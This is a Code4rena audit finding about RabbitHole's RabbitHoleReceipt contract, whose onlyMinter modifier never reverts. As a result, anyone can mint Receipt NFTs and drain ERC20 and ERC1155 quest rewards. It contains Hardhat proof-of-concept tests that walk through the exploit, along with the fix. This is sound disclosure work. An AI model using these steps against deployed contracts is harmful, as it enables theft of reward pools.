Anyone can mint existing Quest IDs RHReceipt NFTs and claim ERC1155 and ERC20 quest rewards due to a non-reverting onlyMinter modifier

[code423n4]

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L58-L61
https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L98-L104

Vulnerability details

Impact

The onlyMinter modifier on line 58 of the RabbitHoleReceipt contract is lacking a require or revert statement to work as intended, allowing anyone to access the functions where the modifier is present, including its mint() function, and to mint one or several Quest IDs Receipt(s) to any address which will then be able to claim any Quest IDs rewards without the requirement to complete it.
This vulnerability impacts both Erc20Quest and Erc1155Quest reward claiming features and could lead to the draining of all the existing quests reward pools by an attacker.

Proof of Concept

This vulnerability can be reproduced inside the Erc1155Quest.specs.ts test file for an ERC1155Quest:

 describe('audit::PoC02::malformedOnlyMinterModifier', async () => {
    it('Anyone can mint an existing Quest Receipt NFT and claim ERC1155 rewards', async () => {
      let attackerBalanceBefore = await deployedSampleErc1155Contract.balanceOf(attacker.address, rewardAmount);
      expect(attackerBalanceBefore).to.equal(0);

      // A) Quest Owner starts the quest
      expect(await deployedQuestContract.hasStarted()).to.be.false;
      expect(await deployedQuestContract.connect(owner).start());
      expect(await deployedQuestContract.hasStarted()).to.be.true;

      // B) Attacker mints itself one or several Receipt NFTs for an existing ERC1155 Quest as the
      // `onlyMinter` modifier on `mint()` lets anyone access the function
      expect(await deployedRabbitholeReceiptContract
        .connect(attacker)
        .mint(attacker.address, questId)
      ).to.not.be.reverted;
      
      // Attacker now owns 1 Receipt NFT
      let tokenIds = await deployedRabbitholeReceiptContract.getOwnedTokenIdsOfQuest(questId, attacker.address);
      expect(tokenIds.length).to.equal(1);
      expect(tokenIds[0].toNumber()).to.equal(1);
      
      // ... Timewarp to a valid claim window ...
      await ethers.provider.send('evm_increaseTime', [86400]);

      // C) Attacker uses the Receipt NFT to claim the ERC1155 reward
      expect(
        await deployedQuestContract.connect(attacker).claim()
      ).to.not.be.reverted;
      expect(
        await deployedSampleErc1155Contract.balanceOf(attacker.address, rewardAmount)
      ).to.equal(attackerBalanceBefore.toNumber() + rewardAmount);
    });
  });

Or inside the Erc20Quest.specs.ts test file for an ERC20Quest:

 describe('audit::PoC03::malformedOnlyMinterModifier', async () => {
    it('Anyone can mint an existing Quest Receipt NFT and claim ERC20 rewards', async () => {
      let attackerBalanceBefore = await deployedSampleErc20Contract.balanceOf(attacker.address);
      expect(attackerBalanceBefore).to.equal(0);

      // A) Quest Owner starts the quest
      expect(await deployedQuestContract.hasStarted()).to.be.false;
      expect(await deployedQuestContract.connect(owner).start());
      expect(await deployedQuestContract.hasStarted()).to.be.true;

      // B) Attacker mints itself a Receipt NFT for an existing ERC20 Quest as the
      // `onlyMinter` modifier on `mint()` lets anyone access the function
      expect(await deployedRabbitholeReceiptContract
        .connect(attacker)
        .mint(attacker.address, questId)
      ).to.not.be.reverted;

      // Attacker now owns 1 Receipt NFT
      let tokenIds = await deployedRabbitholeReceiptContract.getOwnedTokenIdsOfQuest(questId, attacker.address);
      expect(tokenIds.length).to.equal(1);
      expect(tokenIds[0].toNumber()).to.equal(1);
      
      // ... Timewarp to a valid claim window...
      await ethers.provider.send('evm_increaseTime', [86400]);

      // C) Attacker uses the ReceiptNFT to claim the ERC20 rewards
      expect(
        await deployedQuestContract.connect(attacker).claim()
      ).to.not.be.reverted;
      expect(
        await deployedSampleErc20Contract.balanceOf(attacker.address)
      ).to.equal(attackerBalanceBefore.toNumber() + rewardAmount);
    });
  });

Tools Used

Manual review

Recommended Mitigation Steps

Add a require or a revert statement inside the onlyMinter modifier on line 58 of the RabbitHoleReceipt.sol contract so the transaction can revert in case msg.sender is not authorized to mint:

modifier onlyMinter() {
    require(msg.sender == minterAddress, "NotMinter");
    // or :
    if (msg.sender != minterAddress) revert CustomError();
    _;
}

[c4-judge]

kirk-baird marked the issue as duplicate of #9

[c4-judge]

kirk-baird marked the issue as satisfactory